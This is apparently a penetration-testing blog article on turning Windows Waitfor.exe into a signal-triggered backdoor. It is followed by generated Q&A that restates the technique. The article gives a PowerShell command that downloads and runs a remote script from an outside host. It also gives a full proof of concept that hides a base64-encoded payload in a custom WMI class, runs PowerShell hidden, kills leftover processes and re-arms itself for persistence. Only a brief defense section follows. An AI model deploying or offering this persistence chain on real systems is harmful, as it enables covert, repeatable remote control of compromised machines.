Use Waitfor.exe to maintain persistence

Onedaysec
6 min read
0 views
docx image 1770018752102 0 279caba337

0x00 Preface

---

An idea obtained from Casey Smith‏@subTee's Twitter suggests that Waitfor.exe could potentially be used to implement a backdoor mechanism.

Therefore, I conducted further research on it and developed a proof-of-concept (POC) for backdoor exploitation using PowerShell.

This article will introduce the exploitation techniques of Waitfor.exe in penetration testing and share the ideas and details of developing the POC.

The complete POC download link is as follows:

An open-source project

0x01 Introduction

---

This article will specifically cover the following:

  • Introduction to Waitfor.exe
  • Exploitation ideas
  • POC details

0x02 Introduction to Waitfor.exe

---

Used to synchronize computers in a network, can send or wait for signals on the system

Supported systems:

  • Windows Server 2003
  • Windows Vista
  • Windows XP
  • Windows Server 2008
  • Windows 7
  • Windows Server 2003 with SP2
  • Windows Server 2003 R2
  • Windows Server 2008 R2
  • Windows Server 2000
  • Windows Server 2012
  • Windows Server 2003 with SP1
  • Windows 8
  • Windows 10
  • Other Server systems not tested, theoretically supported

Located in the System32 folder, started via command line

Supported parameters as shown in the figure below

0x02 Introduction to Waitfor.exe — technical illustration 1

Specific details are as follows:

/s : Specifies the name or IP address of the destination computer to send to (backslashes cannot be used). If this parameter is omitted, the signal will be broadcast within the domain.

/u [\]: Runs the script with the credentials of the specified user account. If this parameter is omitted, the current user's credentials are used.

/p []: User password

/si: Indicates sending a signal for activation. If this parameter is omitted, it means waiting to receive a signal.

/t : Specifies the number of seconds to wait for the signal. If this parameter is omitted, it waits indefinitely.

: Specified signal name, case-insensitive, length cannot exceed 225 characters

Note:

Computers can only receive signals if they are in the same domain as the computer sending the signal.

That is, only hosts on the same network segment can receive signals.

Primary Purpose:

Execute commands simultaneously on hosts within the same network segment

Test Example:

Enable waiting mode:

cmd:

waitfor signalcalc && calc.exe

Parameter Description:

  • Signal Name: signalcalc
  • Action after receiving signal: calc.exe, i.e., launch calculator

At this point, the waitfor.exe process exists in the background

Send Signal:

cmd:

waitfor /s 127.0.0.1 /si signalcalc

Parameter Description:

  • Target Computer: 127.0.0.1 (for local testing), replace with host IP for domain use
  • /si indicates sending a signal
  • Signal name: signalcalc

Detailed operation as shown in the figure below

Test Example: — technical illustration 2

Note:

For more basic introduction, please refer to the official Microsoft documentation, link as follows:

https://technet.microsoft.com/en-us/library/cc731613(v=ws.11).aspx

0x03 Exploitation Approach

---

Based on the above basic introduction, the most intuitive understanding is that waitfor can be used as a backdoor

Daniel Bohannon‏ @danielhbohannon shared his exploitation approach on Twitter: setting the operation after waitfor receives a signal to download and execute PowerShell code from a remote server

Address as follows:

https://twitter.com/danielhbohannon/status/872258924078092288

Details as shown in the figure below

0x03 Exploitation Approach — technical illustration 3

Additionally, he mentioned an interesting technique: if PowerShell code is set to execute with a delay, then after receiving the signal, there will be no waitfor.exe process running in the background.

I verified this conclusion using the following method:

Enable waiting mode:

cmd:

waitfor test1 && && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc2.ps1')

Send signal:

cmd:

waitfor /s 127.0.0.1 /si test1

The content of https://raw.githubusercontent.com/3gstudent/test/master/calc2.ps1 is as follows:

Start-Sleep -Seconds 10;
start-process calc.exe;

After successfully receiving the signal, the waitfor.exe process exits.

Then execute the PowerShell script, wait for 10 seconds before starting calc.exe.

During these 10 seconds, only the powershell.exe process exists.

In other words, if the waiting time is set longer, there will be no waitfor.exe process during that waiting period, reminding defenders to pay attention to this detail.

0x04 POC Details

---

If used as a backdoor, the above exploitation method is not yet mature

Because after triggering once, the process waitfor.exe will exit, making the backdoor non-reusable

It is necessary to start a waiting mode again to trigger the backdoor once more

Of course, a waiting mode can be manually started after each backdoor trigger

But this is not intelligent enough. Can a script be used to automatically start the waiting mode, making it a sustainable backdoor?

For this purpose, I wrote the following POC

Idea 1:

Save a PowerShell script named 1.ps1 on the target system

The content of 1.ps1 is as follows:

start-process calc.exe
cmd /c waitfor persist && powershell -executionpolicy bypass -file c:\test\1.ps1

Note:

The escape character & in PowerShell must be represented as `&

Enable waiting mode:

cmd:

waitfor persist1 && powershell -executionpolicy bypass -file c:\test\1.ps1

Send signal:

cmd:

waitfor /s 127.0.0.1 /si persist1

Approach 2:

Do not save files on the target system

Here we use a technique previously introduced in 'WMI backdoor' to store the payload in a WMI class for reading and usage

Store payload:

(Administrator privileges)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe")
$StaticClass.Put()

Read payload:

([WmiClass] 'Win32_Backdoor').Properties['Code'].Value

The above operations are shown in the figure below

Approach 2: — technical illustration 4

Execute payload:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

Note:

Using Invoke-Expression to execute commands is also possible; using iex is to shorten the length

Combined with the parameter format of waitfor, here we choose to encode the code as base64

Base64 encode the code for executing the payload, the following code is saved in code.txt:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

Base64 encode it, the code is as follows:

$code = Get-Content -Path code.txt
$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded

The base64 encrypted code is as follows:

JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==

The above operation is shown in the figure below

Approach 2: — technical illustration 5

Testing base64 encrypted code:

powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==

Code executed successfully, as shown in the figure below

Approach 2: — technical illustration 6

Based on the above approach, the POC is as follows:

Backdoor code:

(Administrator privileges)

$StaticClass = New-Object Management.ManagementClass('root\\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& waitfor persist ```&```& powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put()

Note:

There are two layers of escape characters

`` is used to represent `

Installation code:

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec

Activation command:

waitfor /s 127.0.0.1 /si persist

Actual test as shown in the figure below

Approach 2: — technical illustration 7

There is a bug causing powershell.exe to fail to exit properly, leaving the process lingering in the background

Therefore, a piece of code needs to be added to terminate the process powershell.exe

Note:

Based on the logical relationship, the code to terminate powershell.exe should be written before powershell -nop -W Hidden -E ...

Finally, the complete POC code is as follows:

Backdoor code:

(Administrator privileges)

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null

$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null

Activation command:

waitfor /s 127.0.0.1 /si persist

Complete demonstration as shown in the figure below

Approach 2: — technical illustration 8

No residual process issues exist

0x05 Defense

---

Pay attention to the background process waitfor.exe

For suspicious background processes cmd.exe and powershell.exe, you can use Process Explorer to view their startup parameters, as shown in the figure below

0x05 Defense — technical illustration 9

You can also read the historical echo content from the above processes. Reference materials are as follows:

http://jblog.javelin-networks.com/blog/cli-powershell/

0x06 Summary

---

This article introduces the implementation approach of the Waitfor.exe backdoor, and there may be more exploitation techniques

Related Questions & Answers

How can the Waitfor.exe backdoor be made reusable and persistent?

To make the backdoor reusable, the command executed after receiving the signal must include a call to restart the waitfor waiting mode. For example, a PowerShell script can run the payload and then immediately execute `cmd /c waitfor persist & powershell -executionpolicy bypass -file script.ps1`, creating a continuous loop. Another approach uses a WMI class to store both the payload and the re‑arm logic, as shown in the [Use Waitfor.exe to maintain persistence](/news/use-waitfor-exe-to-maintain-persistence) article, ensuring the backdoor remains active after each activation.

What is the WMI-based persistence technique used in the Waitfor.exe POC?

The WMI-based technique stores the backdoor payload inside a custom WMI class (Win32_Backdoor) on the target system. After storing the payload as a property, the waitfor command reads and executes it via PowerShell using base64‑encoded commands. This avoids leaving files on disk, and the loop can be designed to automatically re‑arm the waitfor listener after each trigger. The full implementation is detailed in [Use Waitfor.exe to maintain persistence](/news/use-waitfor-exe-to-maintain-persistence).

How does the Waitfor.exe backdoor work and what is its limitation?

The Waitfor.exe backdoor works by first entering a waiting mode using a command like `waitfor signalname & command`, then a remote attacker sends the signal via `waitfor /s target /si signalname` to trigger the command. However, after the command executes, the waitfor.exe process exits, making the backdoor non-reusable. To maintain persistence, an attacker must either manually restart the waiting mode or use a script that automatically re-enables it after each trigger, as demonstrated in the [Use Waitfor.exe to maintain persistence](/news/use-waitfor-exe-to-maintain-persistence) article.

What is Waitfor.exe and how can it be used for persistence in penetration testing?

Waitfor.exe is a Windows command-line tool used to synchronize computers on a network by sending or waiting for signals. In penetration testing, it can be exploited as a backdoor: an attacker configures it to wait for a specific signal and then execute a command, such as launching a PowerShell script that downloads and runs payloads. For more details, refer to [Use Waitfor.exe to maintain persistence](/news/use-waitfor-exe-to-maintain-persistence). This technique enables a remote activation mechanism, though the backdoor is non-reusable after one trigger unless a persistent loop is implemented.

Continue Reading